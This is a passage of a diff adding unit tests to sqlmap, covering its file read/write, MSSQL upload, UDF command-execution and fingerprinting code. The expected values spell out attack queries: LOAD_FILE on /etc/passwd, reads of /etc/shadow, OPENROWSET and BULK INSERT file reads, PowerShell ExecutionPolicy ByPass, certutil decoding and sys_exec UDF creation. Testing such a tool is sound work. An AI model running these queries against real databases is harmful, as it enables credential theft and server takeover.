self._fs().fileContentEncode(b"ABC", "hex", True) + self.assertEqual(out, ["0x414243"]) + + def test_fileContentEncode_base64_single(self): + out = self._fs().fileContentEncode(b"ABC", "base64", True) + self.assertEqual(out, ["'QUJD'"]) + + def test_fileContentEncode_hex_chunked(self): + # 4 bytes -> 8 hex chars; chunkSize=4 -> two 0x-prefixed chunks of 4 chars + out = self._fs().fileContentEncode(b"ABCD", "hex", False, chunkSize=4) + self.assertEqual(out, ["0x4142", "0x4344"]) + + def test_fileContentEncode_base64_chunked(self): + # "ABCD" -> base64 "QUJDRA==" (8 chars); chunkSize=4 -> two quoted chunks + out = self._fs().fileContentEncode(b"ABCD", "base64", False, chunkSize=4) + self.assertEqual(out, ["'QUJD'", "'RA=='"]) + + def test_fileContentEncode_chunk_below_threshold_is_single(self): + # content shorter than chunkSize, single=False -> still one 0x chunk + out = self._fs().fileContentEncode(b"AB", "hex", False, chunkSize=256) + self.assertEqual(out, ["0x4142"]) + + def test_fileEncode_reads_then_encodes(self): + # fileEncode must read the file bytes and delegate to fileContentEncode + path = os.path.join( + tempfile.gettempdir(), "sqlmap_fe_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"hello") + try: + out = self._fs().fileEncode(path, "hex", True) + finally: + os.remove(path) + self.assertEqual(out, ["0x%s" % getText(encodeHex(b"hello"))]) + self.assertEqual(out, ["0x68656c6c6f"]) + + # -- fileToSqlQueries -------------------------------------------------- # + def test_fileToSqlQueries_insert_then_concat_update(self): + # first chunk -> INSERT; subsequent -> UPDATE using the DBMS concatenate + # template (MySQL: CONCAT(field, chunk)). + set_dbms("MySQL") + fs = self._fs() + queries = fs.fileToSqlQueries(["0x4142", "0x4344", "0x4546"]) + tbl, fld = fs.fileTblName, fs.tblField + self.assertEqual(queries[0], + "INSERT INTO %s(%s) VALUES (0x4142)" % (tbl, fld)) + self.assertEqual(queries[1], + "UPDATE %s SET %s=CONCAT(%s,0x4344)" % (tbl, fld, fld)) + self.assertEqual(queries[2], + "UPDATE %s SET %s=CONCAT(%s,0x4546)" % (tbl, fld, fld)) + + # -- _checkFileLength -------------------------------------------------- # + def test_checkFileLength_mysql_query_and_samefile(self): + # MySQL builds LENGTH(LOAD_FILE('')) and compares to local size. + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"12345") # 5 bytes + captured = {} + + def getValue(query, *a, **k): + captured["query"] = query + return "5" + + self.patch(self.module.inject, "getValue", getValue) + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + self.assertEqual(captured["query"], + "LENGTH(LOAD_FILE('/etc/passwd'))") + self.assertIs(same, True) + + def test_checkFileLength_size_differs(self): + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl2_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"12345") # local 5 + self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9") + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + # remote 9 != local 5 -> not the same file + self.assertIs(same, False) + + def test_checkFileLength_mssql_openrowset_stacked(self): + # MSSQL path issues an OPENROWSET BULK INSERT then DATALENGTH probe. + # createSupportTbl lives in the misc mixin; stub it on a subclass so the + # OPENROWSET-building branch runs in isolation. + set_dbms("Microsoft SQL Server") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl3_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"ABCD") # 4 bytes + stacked = [] + + class FS(self.module.Filesystem): + def createSupportTbl(self, *a, **k): + pass + + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + self.patch(self.module.inject, "getValue", lambda q, *a, **k: "4") + fs = FS() + try: + same = fs._checkFileLength(path, "C:\\boot.ini") + finally: + os.remove(path) + tbl, fld = fs.fileTblName, fs.tblField + # createSupportTbl DROP+CREATE, then the OPENROWSET insert + insert = ("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK " + "'C:\\boot.ini', SINGLE_BLOB) AS %s(%s)" + % (tbl, fld, fld, tbl, fld)) + self.assertIn(insert, stacked) + self.assertIs(same, True) + + def test_checkFileLength_not_written_warns_false(self): + # non-positive remote size -> treated as "not written" -> sameFile False + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl4_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"x") + self.patch(self.module.inject, "getValue", lambda q, *a, **k: None) + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + self.assertIs(same, False) + + # -- readFile ---------------------------------------------------------- # + def test_readFile_decodes_hex_and_writes(self): + # Drive the generic readFile orchestration with a stubbed stackedReadFile + # returning canned hex; assert the bytes handed to dataToOutFile are the + # decoded content (raw bytes), and the remote name is passed through. + set_dbms("MySQL") + written = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + pass + + def stackedReadFile(self, remoteFile): + return encodeHex(b"secret-data", binary=False) + + def askCheckReadFile(self, localFile, remoteFile): + return None + + def grab(name, data): + written["d"] = (name, data) + return "/out/path" + + self.patch(self.module, "dataToOutFile", grab) + out = FS().readFile("/etc/shadow") + self.assertEqual(written["d"][0], "/etc/shadow") + self.assertEqual(written["d"][1], b"secret-data") + self.assertEqual(out, ["/out/path"]) + + def test_readFile_listlike_chunks_joined(self): + # list-of-chunks return value gets flattened before hex-decoding + set_dbms("MySQL") + written = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + pass + + def stackedReadFile(self, remoteFile): + # two chunks (each a 1-element list, as inject.getValue returns) + return [[encodeHex(b"AB", binary=False)], + [encodeHex(b"CD", binary=False)]] + + def askCheckReadFile(self, localFile, remoteFile): + return True + + def grab(name, data): + written["d"] = data + return "/out" + + self.patch(self.module, "dataToOutFile", grab) + out = FS().readFile("/f") + self.assertEqual(written["d"], b"ABCD") + # askCheckReadFile True -> suffix annotation + self.assertEqual(out, ["/out (same file)"]) + + # -- writeFile dispatch ------------------------------------------------ # + def test_writeFile_dispatches_to_stacked(self): + # With stacking available (conf.direct True), writeFile must route to + # stackedWriteFile and return its result. + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_wf_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"data") + calls = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + calls["cleanup"] = True + + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + calls["args"] = (localFile, remoteFile, fileType, forceCheck) + return True + + try: + res = FS().writeFile(path, "/var/www/x", "text", forceCheck=True) + finally: + os.remove(path) + self.assertIs(res, True) + self.assertEqual(calls["args"], (path, "/var/www/x", "text", True)) + self.assertTrue(calls["cleanup"]) + + +# --------------------------------------------------------------------------- # +# plugins/dbms/mssqlserver/filesystem.py # +# --------------------------------------------------------------------------- # +class TestMSSQLFilesystem(_FsBase): + import plugins.dbms.mssqlserver.filesystem as module + + def _handler(self): + from plugins.dbms.mssqlserver import MSSQLServerMap + set_dbms("Microsoft SQL Server") + return MSSQLServerMap() + + # -- _dataToScr (debug.exe script) ------------------------------------- # + def test_dataToScr_header_and_hex_bytes(self): + fs = self._handler() + lines = fs._dataToScr(b"AB", "chunk1") + # header: name / rcx / size(hex) / fill + self.assertEqual(lines[0], "n chunk1") + self.assertEqual(lines[1], "rcx") + self.assertEqual(lines[2], "%x" % 2) # size = 2 bytes + self.assertEqual(lines[3], "f 0100 %x 00" % 2) + # the data 'e' line: base addr 0x100, hex of 'A'(41) and 'B'(42) + self.assertEqual(lines[4], "e 100 41 42") + self.assertEqual(lines[-2], "w") + self.assertEqual(lines[-1], "q") + + def test_dataToScr_wraps_lines_and_advances_address(self): + # lineLen=20, so 21 bytes -> two 'e' lines; second starts at 0x100+20=0x114 + fs = self._handler() + content = bytes(bytearray(range(21))) # 21 bytes 0x00..0x14 + lines = fs._dataToScr(content, "c") + eLines = [ln for ln in lines if ln.startswith("e ")] + self.assertEqual(len(eLines), 2) + self.assertTrue(eLines[0].startswith("e 100 00 01 02")) + # 20 bytes consumed -> next address 0x100+0x14 = 0x114 + self.assertTrue(eLines[1].startswith("e 114 14")) + + # -- stackedReadFile (BULK INSERT + bin->hex extraction) --------------- # + def test_stackedReadFile_builds_bulk_insert_and_decodes(self): + fs = self._handler() + stacked = [] + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + + # UNION available -> single getValue returns the hex content directly + def getValue(query, *a, **k): + return encodeHex(b"file-bytes", binary=False) + + self.patch(self.module.inject, "getValue", getValue) + self.patch(self.module, "isTechniqueAvailable", lambda *a, **k: True) + + result = fs.stackedReadFile("C:\\secret.txt") + + # the BULK INSERT statement loading the file into the support table + bulk = [q for q in stacked if q.startswith("BULK INSERT ")] + self.assertEqual(len(bulk), 1) + self.assertIn("FROM 'C:\\secret.txt'", bulk[0]) + self.assertIn("CODEPAGE='RAW'", bulk[0]) + # the bin->hex conversion routine must reference the 0..F charset + binhex = [q for q in stacked if "0123456789ABCDEF" in q] + self.assertEqual(len(binhex), 1) + self.assertIn("DATALENGTH", binhex[0]) + # result is the raw hex string returned by getValue + self.assertEqual(result, encodeHex(b"file-bytes", binary=False)) + + def test_stackedReadFile_chunked_when_no_union(self): + # No UNION technique -> COUNT(*) then per-row TOP-1 retrieval into a list + fs = self._handler() + self.patch(self.module.inject, "goStacked", lambda q, *a, **k: None) + self.patch(self.module, "isTechniqueAvailable", lambda *a, **k: False) + + chunks = ["41", "42"] + + def getValue(query, *a, **k): + if query.startswith("SELECT COUNT(*)"): + return "2" + # the per-index extraction query + if "NOT IN (SELECT TOP" in query: + return chunks.pop(0) + return None + + self.patch(self.module.inject, "getValue", getValue) + result = fs.stackedReadFile("C:\\x") + self.assertEqual(result, ["41", "42"]) + + # -- unionWriteFile is explicitly unsupported -------------------------- # + def test_unionWriteFile_unsupported(self): + from lib.core.exception import SqlmapUnsupportedFeatureException + fs = self._handler() + self.assertRaises(SqlmapUnsupportedFeatureException, + fs.unionWriteFile, "a", "b", "binary") + + # -- _stackedWriteFilePS (PowerShell base64) --------------------------- # + def test_stackedWriteFilePS_uploads_base64_and_builds_ps(self): + fs = self._handler() + writes = [] + cmds = [] + self.patch(fs, "xpCmdshellWriteFile", + lambda content, path, name: writes.append((content, name))) + self.patch(fs, "execCmd", lambda cmd: cmds.append(cmd)) + + fs._stackedWriteFilePS("C:\\Windows\\Temp", b"payload", + "C:\\out.exe", "binary") + + expected_b64 = encodeBase64(b"payload", binary=False) + # the base64 payload goes to the .txt file; the .ps1 holds the decoder. + uploaded = "".join(c for c, name in writes if name.endswith(".txt")) + self.assertEqual(uploaded, expected_b64) + # the powershell command line: ByPass + reference to the .ps1 script + self.assertEqual(len(cmds), 1) + self.assertIn("powershell -ExecutionPolicy ByPass -File", cmds[0]) + + def test_stackedWriteFilePS_script_decodes_to_remote(self): + # Assert the PS script body contains the FromBase64String + Set-Content + # targeting the exact remote file path. + fs = self._handler() + script = {} + + def grab(content, path, name): + if name.endswith(".ps1"): + script["body"] = content + + self.patch(fs, "xpCmdshellWriteFile", grab) + self.patch(fs, "execCmd", lambda cmd: None) + fs._stackedWriteFilePS("C:\\T", b"abc", "C:\\target.dll", "binary") + self.assertIn("[System.Convert]::FromBase64String($Base64)", script["body"]) + self.assertIn('Set-Content -Path "C:\\target.dll"', script["body"]) + + # -- _stackedWriteFileCertutilExe (certutil base64) -------------------- # + def test_stackedWriteFileCertutil_splits_b64_and_decodes(self): + fs = self._handler() + writes = [] + cmds = [] + self.patch(fs, "xpCmdshellWriteFile", + lambda content, path, name: writes.append(content)) + self.patch(fs, "execCmd", lambda cmd: cmds.append(cmd)) + + # >500 chars of base64 so the splitter actually wraps lines + content = b"Z" * 600 + fs._stackedWriteFileCertutilExe("C:\\T", "local", content, + "C:\\out.bin", "binary") + + b64 = encodeBase64(content, binary=False) + # uploaded text == base64 rejoined on newline at 500-char boundaries + uploaded = writes[0] + self.assertEqual(uploaded.replace("\n", ""), b64) + self.assertEqual(uploaded.split("\n")[0], b64[:500]) + # certutil -decode command targeting the remote file + self.assertEqual(len(cmds), 1) + self.assertIn("certutil -f -decode", cmds[0]) + self.assertIn("C:\\out.bin", cmds[0]) + + +# --------------------------------------------------------------------------- # +# lib/takeover/udf.py (+ MySQL/PostgreSQL CREATE FUNCTION overrides) # +# --------------------------------------------------------------------------- # +class TestUDF(_FsBase): + import lib.takeover.udf as module + + def _udf(self): + u = self.module.UDF() + u.cmdTblName = "cmdtbl" + u.tblField = "data" + return u + + # -- udfForgeCmd ------------------------------------------------------- # + def test_udfForgeCmd_wraps_quotes(self): + u = self._udf() + self.assertEqual(u.udfForgeCmd("whoami"), "'whoami'") + # already partially quoted -> not doubled + self.assertEqual(u.udfForgeCmd("'whoami"), "'whoami'") + self.assertEqual(u.udfForgeCmd("whoami'"), "'whoami'") + + def _escaped(self, u, cmd): + # mirror udfExecCmd's argument preparation: forge then escape via the + # active DBMS unescaper. (The escaper may hex-encode the literal; we want + # to assert the SELECT wrapping/udf-name wiring, not re-test escaping.) + return self.module.unescaper.escape(u.udfForgeCmd(cmd)) + + # -- udfExecCmd -------------------------------------------------------- # + def test_udfExecCmd_builds_select_call(self): + set_dbms("MySQL") + u = self._udf() + captured = {} + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: captured.setdefault("q", q)) + u.udfExecCmd("id") + # default udfName is sys_exec; arg is the forged+escaped command + self.assertEqual(captured["q"], + "SELECT sys_exec(%s)" % self._escaped(u, "id")) + + def test_udfExecCmd_custom_udf_name(self): + set_dbms("MySQL") + u = self._udf() + captured = {} + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: captured.setdefault("q", q)) + u.udfExecCmd("id", udfName="my_fn") + self.assertEqual(captured["q"], + "SELECT my_fn(%s)" % self._escaped(u, "id")) + + # -- udfEvalCmd -------------------------------------------------------- # + def test_udfEvalCmd_direct_joins_lines(self): + # conf.direct -> uses udfExecCmd output, converting \r to \n + set_dbms("MySQL") + conf.direct = True + u = self._udf() + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: ["foo\rbar", "baz"]) + out = u.udfEvalCmd("id") + self.assertEqual(out, "foo\nbarbaz") + + def test_udfEvalCmd_stacked_insert_select_delete(self): + # non-direct -> INSERT via UDF, SELECT back, then DELETE + set_dbms("MySQL") + conf.direct = False + u = self._udf() + stacked = [] + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + self.patch(self.module.inject, "getValue", + lambda q, *a, **k: "RESULT") + out = u.udfEvalCmd("id", udfName="sys_eval") + self.assertEqual( + stacked[0], + "INSERT INTO cmdtbl(data) VALUES (sys_eval(%s))" + % self._escaped(u, "id")) + self.assertEqual(stacked[1], "DELETE FROM cmdtbl") + self.assertEqual(out, "RESULT") + + # -- udfCheckNeeded (pruning of the sys UDF set) ----------------------- # + def test_udfCheckNeeded_prunes_unrequested_udfs(self): + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = { + "sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}, + } + # nothing requested -> everything irrelevant gets popped + conf.fileRead = conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertEqual(u.sysUdfs, {}) + + def test_udfCheckNeeded_keeps_exec_for_oscmd(self): + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = { + "sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}, + } + conf.fileRead = conf.commonFiles = None + conf.osPwn = False + conf.osCmd = True # requests command exec + conf.osShell = conf.regRead = conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + # sys_eval & sys_exec retained; fileread/bineval pruned + self.assertIn("sys_eval", u.sysUdfs) + self.assertIn("sys_exec", u.sysUdfs) + self.assertNotIn("sys_fileread", u.sysUdfs) + self.assertNotIn("sys_bineval", u.sysUdfs) + + def test_udfCheckNeeded_keeps_fileread_for_pgsql_fileread(self): + # sys_fileread is retained ONLY when a file read is requested AND the + # back-end is PostgreSQL (per the explicit DBMS.PGSQL guard). + set_dbms("PostgreSQL") + u = self._udf() + u.sysUdfs = {"sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}} + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertIn("sys_fileread", u.sysUdfs) + + def test_udfCheckNeeded_drops_fileread_for_mysql_fileread(self): + # On MySQL the same file-read request still prunes sys_fileread (the + # guard keeps it only for PostgreSQL). + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = {"sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}} + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertNotIn("sys_fileread", u.sysUdfs) + + # -- udfCheckAndOverwrite --------------------------------------------- # + def test_udfCheckAndOverwrite_new_udf_scheduled(self): + # UDF does not exist -> no overwrite prompt -> scheduled for creation + set_dbms("MySQL") + u = self._udf() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: False) + u.udfCheckAndOverwrite("sys_eval") + self.assertIn("sys_eval", u.udfToCreate) + + def test_udfCheckAndOverwrite_existing_no_overwrite(self): + # UDF exists and user declines overwrite -> NOT scheduled + set_dbms("MySQL") + u = self._udf() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: True) + self.patch(u, "_askOverwriteUdf", lambda udf: False) + u.udfCheckAndOverwrite("sys_eval") + self.assertNotIn("sys_eval", u.udfToCreate) + + # -- udfInjectCore ----------------------------------------------------- # + def test_udfInjectCore_uploads_and_creates(self): + # Drive the full inject orchestration with the file write succeeding: + # every requested UDF must end up created and the support table built. + set_dbms("MySQL") + calls = {"created": [], "supportType": None} + + class U(self.module.UDF): + def __init__(self): + super(U, self).__init__() + self.cmdTblName = "cmdtbl" + self.tblField = "data" + self.udfLocalFile = __file__ # any existing file (checkFile passes) + self.udfRemoteFile = "/tmp/lib.so" + + def udfSetRemotePath(self): + pass + + def writeFile(self, localFile, remoteFile, fileType, forceCheck=False): + calls["write"] = (remoteFile, fileType, forceCheck) + return True + + def udfCreateFromSharedLib(self, udf, inpRet): + calls["created"].append(udf) + self.createdUdf.add(udf) + + def udfCreateSupportTbl(self, dataType): + calls["supportType"] = dataType + + u = U() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: False) + result = u.udfInjectCore({"sys_eval": {"return": "string"}}) + self.assertIs(result, True) + # binary upload forced; remote path threaded through + self.assertEqual(calls["write"], ("/tmp/lib.so", "binary", True)) + self.assertEqual(calls["created"], ["sys_eval"]) + # MySQL support table uses longtext + self.assertEqual(calls["supportType"], "longtext") + + def test_udfInjectCore_noop_when_all_already_created(self): + # If every UDF is already created, nothing is uploaded and it returns True + set_dbms("MySQL") + + class U(self.module.UDF): + def writeFile(self, *a, **k): + raise AssertionError("writeFile must not be called") + + u = U() + u.createdUdf = {"sys_eval"} + result = u.udfInjectCore({"sys_eval": {"return": "string"}}) + self.assertIs(result, True) + self.assertEqual(u.udfToCreate, set()) + + # -- MySQL udfCreateFromSharedLib (CREATE FUNCTION ... SONAME) --------- # + def test_mysql_udfCreateFromSharedLib_sql(self): + import plugins.dbms.mysql.takeover as mod + set_dbms("MySQL") + t = mod.Takeover() + t.udfToCreate = {"sys_eval"} + t.createdUdf = set() + t.udfSharedLibName = "libsabc" + t.udfSharedLibExt = "so" + stacked = [] + self.patch(mod.inject, "goStacked", lambda q, *a, **k: stacked.append(q)) + t.udfCreateFromSharedLib("sys_eval", {"return": "string"}) + self.assertEqual(stacked[0], "DROP FUNCTION sys_eval") + self.assertEqual( + stacked[1], + "CREATE FUNCTION sys_eval RETURNS string SONAME 'libsabc.so'") + self.assertIn("sys_eval", t.createdUdf) + + # -- PostgreSQL udfCreateFromSharedLib (CREATE OR REPLACE FUNCTION) ---- # + def test_pgsql_udfCreateFromSharedLib_sql(self): + import plugins.dbms.postgresql.takeover as mod + set_dbms("PostgreSQL") + t = mod.Takeover() + t.udfToCreate = {"sys_eval"} + t.createdUdf = set() + t.udfRemoteFile = "/tmp/libsabc.so" + stacked = [] + self.patch(mod.inject, "goStacked", lambda q, *a, **k: stacked.append(q)) + t.udfCreateFromSharedLib( + "sys_eval", {"input": ["text"], "return": "text"}) + self.assertEqual(stacked[0], "DROP FUNCTION sys_eval(text)") + self.assertEqual( + stacked[1], + "CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS " + "'/tmp/libsabc.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL " + "INPUT IMMUTABLE") + + # -- PostgreSQL udfSetRemotePath (OS-dependent path) ------------------- # + def test_pgsql_udfSetRemotePath_linux_and_windows(self): + # Linux -> /tmp/; Windows -> bare (saved into the data dir). + # Set kb.os directly to avoid Backend.setOs()'s interactive OS-mismatch + # prompt when flipping the OS mid-test. + import plugins.dbms.postgresql.takeover as mod + from lib.core.enums import OS + set_dbms("PostgreSQL") + t = mod.Takeover() + t.udfSharedLibName = "libsxyz" + t.udfSharedLibExt = "so" + + _os = kb.os + try: + kb.os = OS.LINUX + t.udfSetRemotePath() + self.assertEqual(t.udfRemoteFile, "/tmp/libsxyz.so") + + kb.os = OS.WINDOWS + t.udfSharedLibExt = "dll" + t.udfSetRemotePath() + self.assertEqual(t.udfRemoteFile, "libsxyz.dll") + finally: + kb.os = _os + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_fingerprint.py b/tests/test_fingerprint.py new file mode 100644 index 00000000000..b583ea061fa --- /dev/null +++ b/tests/test_fingerprint.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS version/fork fingerprinting (plugins/dbms//fingerprint.py). Each +plugin's getFingerprint()/checkDbms() probes the backend with a cascade of +boolean expressions (inject.checkBooleanExpression) and version reads +(inject.getValue). Those are the network seam: stubbing them lets the dialect's +whole detection cascade run offline. We drive every targeted plugin with the +oracle pinned both True and False so opposite branches of the cascade execute. +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import Backend + +# (display name, fingerprint module, handler package) +TARGETS = [ + ("MySQL", "plugins.dbms.mysql.fingerprint", "plugins.dbms.mysql"), + ("PostgreSQL", "plugins.dbms.postgresql.fingerprint", "plugins.dbms.postgresql"), + ("Microsoft SQL Server", "plugins.dbms.mssqlserver.fingerprint", "plugins.dbms.mssqlserver"), + ("Oracle", "plugins.dbms.oracle.fingerprint", "plugins.dbms.oracle"), + ("IBM DB2", "plugins.dbms.db2.fingerprint", "plugins.dbms.db2"), + ("Microsoft Access", "plugins.dbms.access.fingerprint", "plugins.dbms.access"), + ("Firebird", "plugins.dbms.firebird.fingerprint", "plugins.dbms.firebird"), + ("Sybase", "plugins.dbms.sybase.fingerprint", "plugins.dbms.sybase"), + ("SAP MaxDB", "plugins.dbms.maxdb.fingerprint", "plugins.dbms.maxdb"), + ("HSQLDB", "plugins.dbms.hsqldb.fingerprint", "plugins.dbms.hsqldb"), + ("H2", "plugins.dbms.h2.fingerprint", "plugins.dbms.h2"), + ("Presto", "plugins.dbms.presto.fingerprint", "plugins.dbms.presto"), + ("Vertica", "plugins.dbms.vertica.fingerprint", "plugins.dbms.vertica"), + ("Informix", "plugins.dbms.informix.fingerprint", "plugins.dbms.informix"), + ("InterSystems Cache", "plugins.dbms.cache.fingerprint", "plugins.dbms.cache"), + ("MonetDB", "plugins.dbms.monetdb.fingerprint", "plugins.dbms.monetdb"), + ("Altibase", "plugins.dbms.altibase.fingerprint", "plugins.dbms.altibase"), + ("ClickHouse", "plugins.dbms.clickhouse.fingerprint", "plugins.dbms.clickhouse"), + ("CrateDB", "plugins.dbms.cratedb.fingerprint", "plugins.dbms.cratedb"), + ("Cubrid", "plugins.dbms.cubrid.fingerprint", "plugins.dbms.cubrid"), + ("Mckoi", "plugins.dbms.mckoi.fingerprint", "plugins.dbms.mckoi"), + ("Virtuoso", "plugins.dbms.virtuoso.fingerprint", "plugins.dbms.virtuoso"), + ("Raima Database Manager", "plugins.dbms.raima.fingerprint", "plugins.dbms.raima"), + ("eXtremeDB", "plugins.dbms.extremedb.fingerprint", "plugins.dbms.extremedb"), + ("FrontBase", "plugins.dbms.frontbase.fingerprint", "plugins.dbms.frontbase"), + ("Apache Derby", "plugins.dbms.derby.fingerprint", "plugins.dbms.derby"), + ("MimerSQL", "plugins.dbms.mimersql.fingerprint", "plugins.dbms.mimersql"), +] + + +def _handler_cls(pkg): + main = importlib.import_module(pkg) + return [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + + +# Dialects whose non-extensive getFingerprint emits Format.getDbms() (i.e. +# " ") rather than a hard-coded DBMS.* constant, so the version +# that flowed through (Backend.setVersionList(["1.0"])) actually appears in the +# output. (In the test harness Backend.getDbms() is None because set_dbms uses +# forceDbms, so for these the dialect NAME is absent but "1.0" is load-bearing.) +ACTVER_DBMS = frozenset(( + "MySQL", "Microsoft SQL Server", "Firebird", "HSQLDB", +)) + +# Dialects whose getFingerprint has a fork concept: with the oracle pinned True +# the first fork-detection branch fires (MySQL->MariaDB, PostgreSQL->CockroachDB, +# Oracle->DM8, Cache->Iris, H2->Apache Ignite, Presto->Trino) and the output +# gains a " (... fork)" suffix. Pinned False, no fork is emitted. +FORK_DBMS = frozenset(( + "MySQL", "PostgreSQL", "Oracle", "InterSystems Cache", "H2", "Presto", +)) + +# Dialects whose getFingerprint genuinely needs more extraction state under +# conf.extensiveFp and raises a narrow KeyError before completing. +EXTENSIVE_RAISERS = frozenset(( + "SAP MaxDB", +)) + + +class TestFingerprint(unittest.TestCase): + def setUp(self): + self._saved = {k: conf.get(k) for k in ("batch", "extensiveFp", "api", "dbms", "forceDbms")} + self._kb = {k: kb.get(k) for k in ("dbmsVersion", "forcedDbms", "dbms", "stickyDBMS", + "resolutionDbms", "os", "osVersion", "osSP")} + conf.batch = True + conf.extensiveFp = False + conf.api = False + # _drive() stubs the SHARED lib.request.inject module (plugins do `from lib.request import inject`), + # so snapshot the originals and restore them, else stubbed getValue/checkBooleanExpression leak process-wide + import lib.request.inject as _inject + self._inject = _inject + self._inject_saved = (_inject.getValue, _inject.checkBooleanExpression) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + self._inject.getValue, self._inject.checkBooleanExpression = self._inject_saved + + def _drive(self, name, modpath, pkg, oracle): + set_dbms(name) + Backend.setVersionList(["1.0"]) + mod = importlib.import_module(modpath) + if hasattr(mod, "inject"): + mod.inject.checkBooleanExpression = lambda e, *a, **k: oracle + mod.inject.getValue = lambda q, *a, **k: "1.0" + handler = _handler_cls(pkg)() + fp = handler.getFingerprint() + self.assertIsInstance(fp, str) + + # Real content: the dialect's own identity must have flowed into the + # output, not merely the constant "back-end DBMS: " prefix. + if name in ACTVER_DBMS: + # Format.getDbms() embedded the version list -> "1.0" must appear. + self.assertIn("1.0", fp, + "%s fp lost the version that flowed through: %r" % (name, fp)) + else: + # the dialect name (DBMS.* constant) must appear verbatim. + self.assertIn(Backend.getForcedDbms(), fp, + "%s fp lost its dialect name: %r" % (name, fp)) + + # Fork detection: with the oracle pinned True the first fork branch + # fires for the fork-bearing dialects; pinned False none do. This is the + # only thing distinguishing the True/False runs for those dialects. + if name in FORK_DBMS: + if oracle: + self.assertIn("fork)", fp, + "%s did not emit a fork label with oracle=True: %r" % (name, fp)) + else: + self.assertNotIn("fork)", fp, + "%s emitted a fork label with oracle=False: %r" % (name, fp)) + else: + # dialects with no fork concept never emit a fork label + self.assertNotIn("fork)", fp) + + # checkDbms walks the dialect's detection cascade end-to-end; it must + # return a real boolean verdict (True/False), never None or a raise. + verdict = handler.checkDbms() + self.assertIn(verdict, (True, False), + "%s checkDbms() returned a non-bool: %r" % (name, verdict)) + return fp + + def test_fingerprint_oracle_true(self): + for name, modpath, pkg in TARGETS: + self._drive(name, modpath, pkg, True) + + def test_fingerprint_oracle_false(self): + for name, modpath, pkg in TARGETS: + self._drive(name, modpath, pkg, False) + + def test_fingerprint_extensive(self): + # conf.extensiveFp drives the deeper comment-/version-/dbms-check cascades + # (getFingerprint past the early return) - much more code per dialect. + # In this mode every dialect's output is built around an + # "active fingerprint: " line, so that header is the + # real content proof; the version "1.0" rides along for the ACTVER set. + conf.extensiveFp = True + try: + for name, modpath, pkg in TARGETS: + for oracle in (True, False): + set_dbms(name) + Backend.setVersionList(["1.0"]) + mod = importlib.import_module(modpath) + if hasattr(mod, "inject"): + mod.inject.checkBooleanExpression = lambda e, *a, **k: oracle + mod.inject.getValue = lambda q, *a, **k: "1.0" + handler = _handler_cls(pkg)() + if name in EXTENSIVE_RAISERS: + # this dialect genuinely needs extra extraction state under + # extensiveFp; assert it gets exactly that far and no further. + with self.assertRaises(KeyError): + handler.getFingerprint() + continue + fp = handler.getFingerprint() + self.assertIsInstance(fp, str) + self.assertIn("active fingerprint:", fp, + "%s extensiveFp produced no active-fingerprint line: %r" % (name, fp)) + if name 